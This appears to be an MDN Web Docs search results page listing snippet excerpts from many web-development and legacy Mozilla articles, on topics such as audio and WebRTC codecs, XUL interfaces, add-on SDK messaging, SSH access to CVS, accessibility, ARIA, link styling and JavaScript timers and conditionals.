...therefore, a typical three-minute song requires about 34.5 mb of memory. that's a lot of storage, but worse, it's an insane amount of network bandwidth to use for a relatively short piece of audio. ...
...b of memory. that's a lot of storage, but worse, it's an insane amount of network bandwidth to use for a relatively short piece of audio. that's why most digital audio is compressed. the process of compressing and decompressing audio is performed by encoding and decoding it using an audio codec (coder/decoder). over the years, a large variety of codecs have been developed, several of which are co
mmonly used on the web. for details about the most important and useful ones for web developers to be familiar with, see the article guide to audio codecs used on the web. audio channels and frames there are two types of audio channel. standard audio channels are used to present the majority of the audible sound. the sound for the left and right main channels, as well as all of your surround sound...
...And 6 more matches
Codecs used by WebRTC - Web media technologies
this guide reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for webrtc. containerless media webrtc uses bare mediastreamtrack objects for each track being shared from one peer to another, without a container or even a mediastream associated with the tracks. ...
...codec, as well as specific user comfort features such as echo cancelation. this guide reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for webrtc. while compression is always a necessity when dealing with media on the web, it's of additional importance when videoconferencing in order to ensure that the participants are able to co
mmunicate without lag or interruptions. of secondary importance is the need to keep the video and audio synchronized, so that the movements and any ancillary information (such as slides or a projection) are presented at the same time as the audio that corresponds. general codec requirements before looking at codec-specific capabilities and requirements, there are a few overall requirements that mu...
...the sub-sections below by following the links on each codec's name. complete details of what video codecs and configurations webrtc is required to support can be found in rfc 7742: webrtc video processing and codec requirements. it's worth noting that the rfc covers a variety of video-related requirements, including color spaces (srgb is the preferred, but not required, default color space), reco
mmendations for webcam processing features (automatic focus, automatic white balance, automatic light level), and so on. note: these requirements are for web browsers and other fully-webrtc compliant products. non-webrtc products that are able to co
mmunicate with webrtc to some extent may or may not support these codecs, although they're encouraged to by the specification documents. in addition ...
...And 6 more matches
height - SVG: Scalable Vector Graphics
. use for <use>, height defines the vertical length for the referenced element. value auto | <length> | <percentage> default value auto (treated as 0) animatable yes note: starting with svg2, height is a geometry property meaning this attribute can also be used as a css property for used elements. ...
... status co
mment filter effects module level 1the definition of 'height' in that specification. working draft definition for <filter> filter effects module level 1the definition of 'height' in that specification. working draft definition for filter primitives css masking module level 1the definition of 'height' in that specification. candidate reco
mmendation definition for <mask> scalable vector graphics (svg) 2the definition of 'height' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'height' in that specification. ...
... css masking module level 1the definition of 'height' in that specification. candidate reco
mmendation definition for <mask> scalable vector graphics (svg) 2the definition of 'height' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'height' in that specification. candidate reco
mmendation definition for <pattern> scalable vector graphics (svg) 1.1 (second edition)the definition of 'height' in that specification. ...
...And 6 more matches
page-mod - Archive of obsolete content
exclude has the same syntax as include, but specifies the urls to which content scripts should not be attached, even if they match include: so it's a way of excluding a subset of the urls that include specifies. the exclude option is new in firefox 32. these options are documented in detail below. for all the details on content scripts, see the guide to content scripts. co
mmunicating with content scripts your add-on's "main.js" can't directly access the state of content scripts you load, but you can co
mmunicate between your add-on and its content scripts by exchanging messages. to do this, you'll need to listen to the page-mod's attach event. this event is triggered every time the page-mod's content script is attached to a document. the listener is passed a worker ...
...ement message and logs the contents. if multiple documents that match the page-mod's include pattern are loaded, then each document is loaded into its own execution context with its own copy of the content scripts. in this case the listener assigned to onattach is called once for each loaded document, and the add-on code will have a separate worker for each document. to learn much more about co
mmunicating with content scripts, see the guide to content scripts and in particular the chapter on co
mmunicating using port. mapping workers to tabs the worker has a tab property which returns the tab associated with this worker. you can use this to access the tabs api for the tab associated with a specific document: var pagemod = require("sdk/page-mod"); var tabs = require("sdk/tabs"); pagemod...
...a script on demand in the context of a particular tab. for example, we might want to run a script in the context of the currently active tab when the user clicks a button: to block certain content, to change the font style, or to display the document's dom structure. using the attach method of the tab object, you can attach a set of content scripts to a particular tab. the scripts are executed i
mmediately. the following add-on creates a button which, when clicked, highlights all the div elements in the document loaded into the active tab: require("sdk/ui/button/action").actionbutton({ id: "highlight-divs", label: "highlight divs", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscript: 'var divs = document.getelementsby...
...And 5 more matches
ui/sidebar - Archive of obsolete content
and <link> tags containing a path relative to the html file itself. <!doctype html> <html> <head> <link href="stuff.css" type="text/css" rel="stylesheet"> </head> <body> <script type="text/javascript" src="stuff.js"></script> </body> </html> you can update the sidebar's content by setting the sidebar's url property. this will change the sidebar's content across all windows. co
mmunicating with sidebar scripts you can't directly access your sidebar's content from your main add-on code, but you can send messages between your main add-on code and scripts loaded into your sidebar. on the sidebar end of the conversation, sidebar scripts get a global variable addon that contains a port for sending and receiving messages. on the add-on side, you need to get a worker object fo...
...ode to the sidebar script. using attach the attach event is triggered whenever the dom for a new sidebar instance is loaded and its scripts are attached. the sidebar script may not be initialized yet, so you can't reliably send messages to the sidebar script right away: however, you can start listening to messages from the script. ...
...bar instance is loaded and its scripts are attached. the sidebar script may not be initialized yet, so you can't reliably send messages to the sidebar script right away: however, you can start listening to messages from the script. here's a simple but complete add-on that shows how to set up co
mmunication between main.js and a script in a sidebar, in the case where the sidebar script initiates co
mmunication: the html file includes just a script, "sidebar.js": <!doctype html> <html> <body> content for my sidebar <script type="text/javascript" src="sidebar.js"></script> </body> </html> the "sidebar.js" file sends a ping message to main.js using port.emit() as soon as it loads, and adds a listener to the pong message. addon.port.emit("ping"); addon.port.on("pong", function() ...
...And 5 more matches
Local Storage - Archive of obsolete content
« previousnext » note: you may rather be looking for dom storage (localstorage, etc.), unless you really are doing xul development. it is very co
mmon for an extension to require some kind of local persistent storage. we reco
mmend that you at least keep an error log, so that you can request error data from your users when you encounter problems that are hard to debug. we'll discuss logging in this section, but first let's look at the right (or at least, co
mmon and scalable) way of managing local files. it is strongly reco
mmended that you keep your local files inside the firefox profile directory. ...
...rom your users when you encounter problems that are hard to debug. we'll discuss logging in this section, but first let's look at the right (or at least, co
mmon and scalable) way of managing local files. it is strongly reco
mmended that you keep your local files inside the firefox profile directory. otherwise you may run into problems if the same extension is installed in multiple profiles. the co
mmon practice is to create a directory with the name of your project at the root of the profile folder, and keep your files inside. the structure could be something like this: s435l.default (your profile directory) xulschool log.txt somedbfile.sqlite the directory service and the nsifile interface are used to create the local directory. here's what we usually ...
...were necessary, but mozilla labs have come up with a javascript implementation of a logger similar to the log4j logger used in java projects. the logger is called log4moz and it is implemented as a javascript code module, so it only works on firefox 3 and above. to use this logger, you need to copy the log4moz.js file to your modules directory. in the initialization method of your one of your "co
mmon" or startup objects, add the following code: let formatter = new log4moz.basicformatter(); let root = log4moz.repository.rootlogger; let logfile = this.getlocaldirectory(); // remember this? let appender; logfile.append("log.txt"); // loggers are hierarchical, lowering this log level will affect all // output. root.level = log4moz.level["all"]; // this appender will log to the file system. ...
...And 5 more matches
LIR - Archive of obsolete content
nt 7 retq void 64 bit return a quad 8 retd void return a double 9 livei void extend live range of an int 10 liveq void 64 bit extend live range of a quad 11 lived void extend live range of a double 12 file void source filename for debug symbols 13 line void source line number for debug symbols 14 co
mment void a co
mment shown, on its own line, in lir dumps 15 not in use load 16 not in use 17 ldc2i integer load char and sign-extend to an int 18 lds2i integer load short and sign-extend to an int 19 lduc2ui integer load unsigned char and zero-extend to an unsigned int 20 ldus2ui integer load unsig...
...guards 43 x void exit always 44 xt void exit if true 45 xf void exit if false 46 xtbl void exit via indirect jump 47 xbarrier void a lir_xbarrier cause no code to be generated, but it acts like a never-taken guard in that it inhibits certain optimisations, such as dead stack store elimination. ...
... void exit always 44 xt void exit if true 45 xf void exit if false 46 xtbl void exit via indirect jump 47 xbarrier void a lir_xbarrier cause no code to be generated, but it acts like a never-taken guard in that it inhibits certain optimisations, such as dead stack store elimination. ...
...And 5 more matches
Creating XPI Installer Modules - Archive of obsolete content
rmat based on the zip file format and is used for aggregating multiple files into a single file. these archives are redundant with the subdirectories: mozilla now installs both the compressed and uncompressed versions of the ui, though you can change this when you build mozilla yourself. chrome/ us/ us.jar chatzilla/ chatzilla.jar chrome.rdf chromelist.txt classic/ classic.jar co
mm/ co
mm.jar content-packs/ content-packs.jar embed-sample/ embed-sample.jar en-us/ en-us.jar en-mac/ en-mac.jar en-unix/ en-unix.jar en-win/ en-win.jar help/ help.jar inspector/ inspector.jar installed-chrome.txt messenger/ messenger.jar ... in addition to these jar files, there are also several new rdf files. these new files represent a redesign of the wa...
...mozilla is alerted to these content specifications and the resources they manage either through registration as part of an installation process (as described in this tutorial) or by way of a shortcut file called installed-chrome.txt, in which developers can point at their new contents.rdf files and have them registered as they develop (a process we do not describe here). one way of anot...
.... all of the resources described in this article are in the xpi archive and can be adapted for use in your own development. developing the resources needless to say, one of the first things you will have to create is the actual software you wish to make redistributable. ...
...And 5 more matches
A XUL Bestiary - Archive of obsolete content
skin processing instruction: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> specifies a chrome to be loaded by the gecko rendering engine. in the example above, the chrome is simply a skin file to be loaded into the xul file, but the chrome can also be used to load whole chromes, as when a <menuitem> in one window brings up a new chrome: <menuitem value="mozilla help" onco
mmand="window.opendialog('chrome://help/content/help.xul', '_blank', 'chrome,all,dialog=no')" /> in this example, the chrome url is being used to point to a chrome within the package hierarchy of the mozilla application. a help chrome defined in mozilla/bin/chrome/help/ is being invoked from the help menu. note that when no file name is...
... is assumed. in other words, a chrome url like the global pointer above picks up a file called global.css, and the help pointer above could also be written as chrome://help/content, because the name of the package itself is "help." viewing chromes other than mozilla's there is a special flag you can use to start mozilla with some chrome other than the default. when you invoke mozilla from the co
mmand line with the -chrome flag, you can specify a chrome just as you would in the previous example: mozilla -chrome chrome://help/content/help.xul brings up the help package mentioned in the previous example as a "stand-alone" chrome. this special option allows you to create and access chromes independent of the mozilla browser and begins to suggest some possibilities for xul-as-platform beyond...
... various parts of an html document, it does so by means of the dom. the parts of the document, such as the head, the links, the body, any tags, are available as nodes whose attributes can be got and set. there are, unfortunately, different document object models corresponding to different types of documents and also to different proprietary notions about what in a document should be exposed progra
mmatically. the w3c has standardized on a particular dom and already has a candidate reco
mmendation for an updated version. this is the dom that is reflected in xul and in the mozilla browser. at the highest level in the tree of nodes that is the dom sits the window object itself. the window has child nodes like the document itself, a history object which records the pages a user has seen, frame nod...
...And 5 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
ition="15"/> </hbox> <!-- composer --> <toolbar id="edittoolbar"> <toolbarbutton id="custom-button-1" position="18"/> </toolbar> <!-- chat --> <menubar id="mainmenu"> <menu id="custom-menu" position="4" label="custom" accesskey="c"> <menupopup> <menuitem id="custom-item-1" label="custom item 1" accesskey="1" tooltiptext="my custom menu item" onco
mmand="custombutton[1]()" /> </menupopup> </menu> </menubar> <!-- calendar --> <toolbar id="calendar-bar"> <toolbarbutton id="custom-button-1" position="10"/> </toolbar> <!-- button details --> <toolbarbutton id="custom-button-1" label="custom" tooltiptext="my custom toolbar button" onco
mmand="custombutton[1]()" class="toolbarbutton-1 custombutton" /> </overlay> ...
...he toolbars. it also links to the stylesheet and javascript code that the button uses. the last section specifies details of the button. 7. create a plain text file named button.css. copy the following content, making sure that you scroll to get all of it. ...
...(if you leave both sections in the f...
...And 5 more matches
Manipulating Lists - Archive of obsolete content
these functions are bit simpler and will do the right thing. the appenditem() function is used to append a new item to the end a list. ...
...d to append a new item to the end a list. similar to the dom appendchild() function except that it takes a string label, and you do not have to worry about where to add it in the list structure. here is an example: example 1 : source view <script> function additem(){ document.getelementbyid('thelist').appenditem("thursday", "thu"); } </script> <listbox id="thelist"/> <button label="add" onco
mmand="additem();"/> the appenditem() takes two arguments, the label, in this case 'thursday', and a value 'thu'. the two arguments correspond to the label attribute and the value attribute on the listitem element. the value is used only as an extra optional value associated with an item which you might wish to use in a script. similarly, there is also an insertitemat() and a removeitemat() funct...
...erface provides two additonal properties, selectedindex and selecteditem. the former returns the index of the selected item while the latter returns the selected element. for instance the selecteditem of a menulist will be the menuitem that is selected. if no item is selected, selectedindex will return -1, while selecteditem will return null. getting the selected item these two properties are co
mmonly inspected during a select event, as in the following example: example 2 : source view <listbox id="thelist" onselect="alert(this.selecteditem.label);"> <listitem label="short"/> <listitem label="medium"/> <listitem label="tall"/> </listbox> the select event is fired for a listbox when an item in the list is selected. the select handler here displays an alert containing the label of ...
...And 5 more matches
Modifying a XUL Interface - Archive of obsolete content
ul document using the appendchild() function. for example, the following will add a button to a xul window: example 1 : source view <script> function addbutton(){ var abox = document.getelementbyid("abox"); var button = document.createelement("button"); button.setattribute("label","a new button"); abox.appendchild(button); } </script> <box id="abox" width="200"> <button label="add" onco
mmand="addbutton();"/> </box> this example has two parts a box container element in xul. notice that this is not the same as a vbox or an hbox. (this is discussed more in the box model pages.) the box element has two attributes "id" and "width". the box element contains a button element. the button element has two attributes "lab...
...n();"/> </box> this example has two parts a box container element in xul. notice that this is not the same as a vbox or an hbox. (this is discussed more in the box model pages.) the box element has two attributes "id" and "width". the box element contains a button element. the button element has two attributes "label" and "onco
mmand" a javascript function named "addbutton()" this script first gets a reference to the box with getelementbyid(), which is the container to add a new button to. the function getelementbyid() does not know that the box it is looking for happens to be containing the tag that has the onco
mmand attribute that referenced it. getelementb...
... all of the node's children or not. if false, only the node is copied, such that the copy won't have any children. if true, all of the children are copied as well. this is done recursively, so for large tree structures make sure that this is desired before passing true to the clonenode() function. here is an example: example 2 : source view <hbox height="400"> <button label="copy" onco
mmand="this.parentnode.appendchild(this.nextsibling.clonenode(true));"/> <vbox> <button label="first"/> <button label="second"/> </vbox> </hbox> when the copy button is pressed.. we retrieve the nextsibling of the button, which will be the vbox element. a copy of this element is made using the clonenode() function and the copy is appended using appendchild(). note that some ele...
...And 5 more matches
key - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the key element defines a window-global keyboard shortcut and must be placed inside a keyset element. when a key matching the attributes on the key element is pressed, the co
mmand will be fired on the key element. the key pressed must match the key attribute (or keycode attribute) as well as the modifiers attribute in order for the key element to be activated. ...
...yboard shortcut and must be placed inside a keyset element. when a key matching the attributes on the key element is pressed, the co
mmand will be fired on the key element. the key pressed must match the key attribute (or keycode attribute) as well as the modifiers attribute in order for the key element to be activated. for the shortcut defined using the key element to work, you must specify a co
mmand attribute (or an onco
mmand handler) on the key element. to display the shortcut defined with the key element in the ui, you can use <menuitem key="key element's id" co
mmand="co
mmand id" .../>. ...
...te) as well as the modifiers attribute in order for the key element to be activated. for the shortcut defined using the key element to work, you must specify a co
mmand attribute (or an onco
mmand handler) on the key element. to display the shortcut defined with the key element in the ui, you can use <menuitem key="key element's id" co
mmand="co
mmand id" .../>. in order to use (non-default) key co
mmands within specific elements, you will need to listen for key events. more information is available in the xul tutorial. attributes co
mmand, disabled, key, keycode, keytext, modifiers, onco
mmand, phase examples (example needed) attributes co
mmand type: id set to the id of a co
mmand element that is being observed by the element. disabled type: boolean indicates whether...
...And 5 more matches
XULRunner tips - Archive of obsolete content
l/content/config.xul developer extensions venkman need a custom build or a compatible extension need to edit compatibility in needs a method to start venkman (usually by overlaying the main xul file, similar to existing code for firefox, suite, etc.) the function toopenwindowbytype() needs to be defined. there is a working stub. ...
... function toopenwindowbytype() needs to be defined. there is a working stub. any better suggestion? ...
... needs to be defined. there is a working stub. any better suggestion? venkman uses "chrome://co
mmunicator/skin/" as an alias for "chrome://global/skin/" and this alias was maintained in the xulrunner toolkit until xulrunner 1.9 was released. when using xulrunner 1.9 or greater, you can create your own alias in your chrome manifest add a "skin" line: skin co
mmunicator classic/1.0 skin/co
mmunicator/ add a skin folder named "co
mmunicator" and add a single css file named "co
mmunicator.css" with this content: @import url("chrome://global/skin"); dom inspector to add dom inspector 2.0.* to your xulrunner 1.9.0.* application follow these steps: download the dom inspector (instead of clicking the "add to..." button, right-click and select "save link as..."). sav...
...And 5 more matches
Building a Theme - Archive of obsolete content
ent themes and extensions are packaged and distributed in zip files or bundles, with the xpi (pronounced “zippy”) file extension. an example of the content within a typical xpi file for a theme: example.xpi: /install.rdf /chrome.manifest /preview.png /icon.png /chrome/ browser/ co
mmunicator/ global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let's begin by creating a folder for your theme somewhere on your hard disk (e.g. c:\themes\my_theme\ or ~/themes/my_theme/). inside your new theme folder, create two new empty text files, one called chrome.manifest and the other called install...
...f other folders from the browser/omni.ja archive are required. it is located in the browser folder in the location mentioned above. the files we will be needing from the browser/omni.ja archive are located under chrome/browser/skin/classic. copy the contents of the following directories to their respective folders. this gives us a base set of styles to work with. ...
...e browser/omni.ja archive are required. it is located in the browser folder in the location mentioned above. the files we will be needing from the browser/omni.ja archive are located under chrome/browser/skin/classic. copy the contents of the following directories to their respective folders. this gives us a base set of styles to work with. browser to chrome/browser/ co
mmunicator to chrome/co
mmunicator/ you should end up with this directory structure: <ext path>/ /install.rdf /chrome.manifest /chrome/ browser/ co
mmunicator/ global/ mozapps/ after this, it would be a good idea to read the article setting up extension development environment and follow the directions there. it's especial...
...And 5 more matches
Using SSH to connect to CVS - Archive of obsolete content
read-only cvs, and our getting write access page for directions on obtaining write access. generating an ssh key first, install ssh. most linux, bsd, and osx distributions come with it installed already. cygwin makes ssh available on windows if you install the openssh package from the net category. if all else fails, openssh is a widely used and highly portable implementation. the following co
mmand should generate a suitable key pair: ssh-keygen -t dsa this will take a moment, followed by a prompt for a passphrase. once you have entered a passphrase, ssh-keygen will create two files, ~/.ssh/id_dsa and ~/.ssh/id_dsa.pub do not sendid_dsa. do file a server operations bug in bugzilla and attach yourid_dsa.pub to the bug. setting up cvs to use ssh in your system's environment, ma...
...th firewalls do not attempt to perform the steps in this section unless you have first verified that you can access cvs.mozilla.org from outside of the firewall. only proceed with these steps once you are certain you can access cvs.mozilla.org from the open internet. ...
...e proxyco
mmand ssh config directive to continue to access the mozilla cvs server. this technique was taken from eric engstrom's site, but the instructions have been re-written specifically for mozilla. download, build, and install corkscrew by following the instructions in the install file in the corkscrew source distribution. corkscrew uses the standard "./configure; make install" technique co
mmon to many open source projects. ...
...And 5 more matches
Browser Feature Detection - Archive of obsolete content
this test takes that idea to the extreme and tests a large number of properties and methods to determine the level of support a browser has for particular standards and reports a rating as the percentage of names the browser defines. ...
...y a list of each of the api names tested along with an indication of whether the name was defined for your browser. it is clear from these test results that netscape 7.0x and mozilla firefox have the greatest dom support although internet explorer, safari, and opera have sufficient dom css 1 and dom level 1 & 2 document property and method support to enable cross browser web development. ...
...& 7 opera 8.54 - 9.01 document.doctype true true true document.implementation true true true document.documentelement true true true document.createelement() true true true document.createdocumentfragment() true true true document.createtextnode() true true true document.createco
mment() true true true document.createcdatasection() true false true document.createprocessinginstruction() true false true document.createattribute() true true true document.createentityreference()obsolete since gecko 7 (method present but only returns null: bug 9850) false false document.getelementsbytagname(...
...And 5 more matches
Examples - Archive of obsolete content
> <p> this document is not well formed due to the use of a raw <. ...
... </p> <dl> <dt>mozilla 1.1+/opera 7</dt> <dd>do not apply...
...i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> </head> <body> <h1>problem 2 - co
mments in xhtml</h1> <p> this document is valid xhtml 1.0 strict served as <code>application/xhtml+xml</code>. </p> <p> this document contains inline css rules contained in a <code>style</code> element and surrounded by a co
mment and javascript contained in a <code>script</code> element and surrounded by a co
mment. </p> <dl> <dt>mozilla 1.1+/opera 7</dt> <dd>do not apply css or execute the javascript.</dd> <dt>netscape 7.0x/mozilla 1.0.x</dt> <dd>do not apply css but does execute the javascript.</dd> <dt>internet explorer 5.5+</dt> <dd>can not display the document.</dd> </dl> <p> <a href="ht...
...And 5 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
emphasize the importance of conforming to open technology standards that are external to the organization. let’s begin the discussion, however, by looking inward to internal procedures, processes and standards. why should organizations have standard procedures at every level? following standards is certainly not a new organizational phenomenon; organizations require their employees to follow co
mmon rules, or a co
mmon set of standards all the time. memos, time cards, and accounting procedures are all standardized across groups. in the development world, there is a need for standards because applications are designed across multiple development groups. many organizations publish internal development standards and practices. for example, an organization may decide that c++, java, and javasc...
...re easily plan and predict. with processes, organizations can make release schedules, implement marketing plans, analyze resource allocations, and make adjustments when needed. adherence to standards and processes can actually provide a level of flexibility because development does become predictable. in addition to predictability, standard processes improve understanding and streamline costs. co
mmon development process as an organization matures, managers and engineers develop a fundamental understanding of the importance of requiring adherence to these processes. when projects are proposed, they are evaluated to ensure compatibility with the overall business strategy. product marketing must then analyze the marketability of the application/product, and then conduct in-depth technical eva...
...ey do so by following the fasb rules. focusing on the software development portion of an organization, there are numerous standards bodies that can affect development decisions. ...
...And 5 more matches
HTML: A good basis for accessibility - Learn web development
sic understanding of html (see introduction to html), and an understanding of what accessibility is. objective: to gain familiarity with the features of html that have accessibility benefits and how to use them appropriately in your web documents. html and accessibility as you learn more about html — read more resources, look at more examples, etc. — you'll keep seeing a co
mmon theme: the importance of using semantic html (sometimes called posh, or plain old semantic html). this means using the correct html elements for their intended purpose as much as possible. you might wonder why this is so important. after all, you can use a combination of css and javascript to make just about any html element behave in whatever way you want. for example, a control button to pla...
...having good semantics and an attractive layout, your content should make logical sense in its source order — you can always place it where you want using css later on, but you should get the source order right to start with, so what screen reader users get read out to them will make sense. ui controls by ui controls, we mean the main parts of web documents that users interact with — most co
mmonly buttons, links, and form controls. in this section, we'll look at the basic accessibility concerns to be aware of when creating such controls. later articles on wai-aria and multimedia will look at other aspects of ui accessibility. one key aspect of the accessibility of ui controls is that by default, browsers allow them to be manipulated by the keyboard. you can try this out using our nati...
...ver, it is again the case that people sometimes do strange things with html. for example, you sometimes see buttons marked up using <div>s, for example: <div data-message="this is from the first button">click me!</div> <div data-message="this is from the second button">click me too!</div> <div data-message="this is from the third button">and me!</div> but using such code is not advised — you i
mmediately lose the native keyboard accessibility you would have had if you'd just used <button> elements, plus you don't get any of the default css styling that buttons get. building keyboard accessibility back in adding such advantages back in takes a bit of work (you can see an example in our fake-div-buttons.html example — also see the source code). here we've given our fake <div> buttons th...
...And 5 more matches
HTML: A good basis for accessibility - Learn web development
sic understanding of html (see introduction to html), and an understanding of what accessibility is. objective: to gain familiarity with the features of html that have accessibility benefits and how to use them appropriately in your web documents. html and accessibility as you learn more about html — read more resources, look at more examples, etc. — you'll keep seeing a co
mmon theme: the importance of using semantic html (sometimes called posh, or plain old semantic html). this means using the correct html elements for their intended purpose as much as possible. you might wonder why this is so important. after all, you can use a combination of css and javascript to make just about any html element behave in whatever way you want. for example, a control button to pla...
...having good semantics and an attractive layout, your content should make logical sense in its source order — you can always place it where you want using css later on, but you should get the source order right to start with, so what screen reader users get read out to them will make sense. ui controls by ui controls, we mean the main parts of web documents that users interact with — most co
mmonly buttons, links, and form controls. in this section, we'll look at the basic accessibility concerns to be aware of when creating such controls. later articles on wai-aria and multimedia will look at other aspects of ui accessibility. one key aspect of the accessibility of ui controls is that by default, browsers allow them to be manipulated by the keyboard. you can try this out using our nati...
...ver, it is again the case that people sometimes do strange things with html. for example, you sometimes see buttons marked up using <div>s, for example: <div data-message="this is from the first button">click me!</div> <div data-message="this is from the second button">click me too!</div> <div data-message="this is from the third button">and me!</div> but using such code is not advised — you i
mmediately lose the native keyboard accessibility you would have had if you'd just used <button> elements, plus you don't get any of the default css styling that buttons get. building keyboard accessibility back in adding such advantages back in takes a bit of work (you can see an example in our fake-div-buttons.html example — also see the source code). here we've given our fake <div> buttons th...
...And 5 more matches
WAI-ARIA basics - Learn web development
o provide useful additional semantics to enhance accessibility where required. what is wai-aria? let's start by looking at what wai-aria is, and what it can do for us. a whole new set of problems as web apps started to get more complex and dynamic, a new set of accessibility features and problems started to appear. for example, html5 introduced a number of semantic elements to define co
mmon page features (<nav>, <footer>, etc.) before these were available, developers would simply use <div>s with ids or classes, e.g. <div class="nav">, but these were problematic, as there was no easy way to easily find a specific page feature such as the main navigation progra
mmatically. the initial solution was to add one or more hidden links at the top of the page to link to the navigation (or w...
... the spec: roles — these define what an element is or does. many of these are so-called landmark roles, which largely duplicate the semantic value of html5 structural elements e.g. role="navigation" (<nav>) or role="complementary" (<aside>), but there are also others that describe different pages structures, such as role="banner", role="search", role="tabgroup", role="tab", etc., which are co
mmonly found in uis. properties — these define properties of elements, which can be used to give them extra meaning or semantics. as an example, aria-required="true" specifies that a form input needs to be filled in to be valid, whereas aria-labelledby="label" allows you to put an id on an element, then reference it as being the label for anything else on the page, including multiple elements, wh...
...de the alt attribute. you can see an example of this at text alternatives. states — special properties that define the current conditions of elements, such as aria-disabled="true", which specifies to a screenreader that a form input is currently disabled. states differ from properties in that properties don't change throughout the lifecycle of an app, whereas states can change, generally progra
mmatically via javascript. an important point about wai-aria attributes is that they don't affect anything about the web page, except for the information exposed by the browser's accessibility apis (where screenreaders get their information from). wai-aria doesn't affect webpage structure, the dom, etc., although the attributes can be useful for selecting elements by css. note: you can find a us...
...And 5 more matches
Styling links - Learn web development
previous overview: styling text next when styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in co
mmon varied interface features such as navigation menus and tabs. we'll look at all these topics in this article. prerequisites: basic computer literacy, html basics (study introduction to html), css basics (study introduction to css), css text and font fundamentals. objective: to learn how to style link states, and how to use links effectively in co
mmon ui features like navigation menus. let's look at some links we looked at how links are implemented in your html according to best practices in creating hyperlinks. in this article we'll build on this knowledge, ...
...fically styled using the :link pseudo class. visited: a link when it has already been visited (exists in the browser's history), styled using the :visited pseudo class. hover: a link when it is being hovered over by a user's mouse pointer, styled using the :hover pseudo class. focus: a link when it has been focused (for example moved to by a keyboard user using the tab key or similar, or progra
mmatically focused using htmlelement.focus()) — this is styled using the :focus pseudo class. active: a link when it is being activated (e.g. clicked on), styled using the :active pseudo class. default styles the following example illustrates what a link will behave like by default (the css is simply enlarging and centering the text to make it stand out more.) <p><a href="#">a simple link</a>...
...let's look at a really simple example that adds an icon to external links (links that lead to other sites.) such an icon usually looks like a little arrow pointing out of a box — for this example, we'll use this great example from icons8.com. let's look at some html and css th...
...And 5 more matches
Document and website structure - Learn web development
al to what is contained in the main content (for example on a news article page, the sidebar might contain the author's bio, or links to related articles) but there are also cases where you'll find some recurring elements like a secondary navigation system. footer: a strip across the bottom of the page that generally contains fine print, copyright notices, or contact info. it's a place to put co
mmon information (like the header) but usually, that information is not critical or secondary to the website itself. the footer is also sometimes used for seo purposes, by providing links for quick access to popular content. a "typical website" could be structured something like this: html for structuring content the simple example shown above isn't pretty, but it is perfectly fine for illustr...
...--> <form> <input type="search" name="q" placeholder="search query"> <input type="submit" value="go!"> </form> </nav> <!-- here is our page's main content --> <main> <!-- it contains an article --> <article> <h2>article heading</h2> <p>lorem ipsum dolor sit amet, consectet...
...i><a href="#">it never stops raining</a></li> <li><a href="#">oh well...</a></li> </ul> </aside> </main> <!-- and here is our main footer that is used across all the pages of our website --> <footer> <p>©copyright 2050 by nobody. all rights reversed.</p> </footer> </body> </html> take some time to look over the code and understand it — the co
mments inside the code should also help you to understand it. we aren't asking you to do much else in this article, because the key to understanding document layout is writing a sound html structure, and then laying it out with css. we'll wait for this until you start to study css layout as part of the css topic. html layout elements in more detail it's good to understand the overall meaning of al...
...And 5 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
a set number of times per second), discusses what they are useful for, and considers their inherent issues. prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals. objective: to understand asynchronous loops and intervals and what they are useful for. introduction for a long time, the web platform has offered javascript progra
mmers a number of functions that allow them to asynchronously execute code after a certain time interval has elapsed, and to repeatedly execute a block of code asynchronously until you tell it to stop. these functions are: settimeout() execute a specified block of code once after a specified time has elapsed. setinterval() execute a specified block of code repeatedly with a fixed time delay b...
.... it takes the following parameters: a function to run, or a reference to a function defined elsewhere. a number representing the time interval in milliseconds (1000 miliseconds equals 1 second) to wait before executing the code. if you specify a value of 0 (or simply omit the value), the function will run as soon as possible. (see the note below on why it runs "as soon as possible" and not "i
mmediately".) more on why you might want to do this later. zero or more values that represent any parameters you want to pass to the function when it is run. note: the specified amount of time (or the delay) is not the guaranteed time to execution, but rather the minimum time to execution. the callbacks you pass to these functions cannot run until the stack on the main thread is empty. as a co...
...sent any parameters you want to pass to the function when it is run. note: the specified amount of time (or the delay) is not the guaranteed time to execution, but rather the minimum time to execution. the callbacks you pass to these functions cannot run until the stack on the main thread is empty. as a consequence, code like settimeout(fn, 0) will execute as soon as the stack is empty, not i
mmediately. if you execute code like settimeout(fn, 0) but then i
mmediately after run a loop that counts from 1 to 10 billion, your callback will be executed after a few seconds. in the following example, the browser will wait two seconds before executing the anonymous function, then will display the alert message (see it running live, and see the source code): let mygreeting = settimeout(functio...
...And 5 more matches
Making decisions in your code — conditionals - Learn web development
for example, in a game, if the player's number of lives is 0, then it's game over. in a weather app, if it is being looked at in the morning, show a sunrise graphic; show stars and a moon if it is nighttime. in this article, we'll explore how so-called conditional statements work in javascript. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps. objective: to understand how to use conditional structures in javascript. ...
... basic if ... else syntax basic if...else syntax looks like the following in pseudocode: if (condition) { code to run if condition is true } else { run some other code instead } here we've got: the keyword if followed by some parentheses. a condition to test, placed inside the parentheses (typi...
...s not necessarily a bad thing, but it might not be what you want — often you want to run one block of code or the other, not both. as a final point, you may sometimes see if...else statements written without the curly braces, in the following shorthand style: if (condition) code to run if condition is true else run some other code instead this is perfectly valid code, but using it is not reco
mmended — it is much easier to read the code and work out what is going on if you use the curly braces to delimit the blocks of code, and use multiple lines and indentation. a real example to understand this syntax better, let's consider a real example. imagine a child being asked for help with a chore by their mother or father. the parent might say "hey sweetheart! if you help me by going and d...
...And 5 more matches
Manipulating documents - Learn web development
previous overview: client-side web apis next when writing web pages and apps, one of the most co
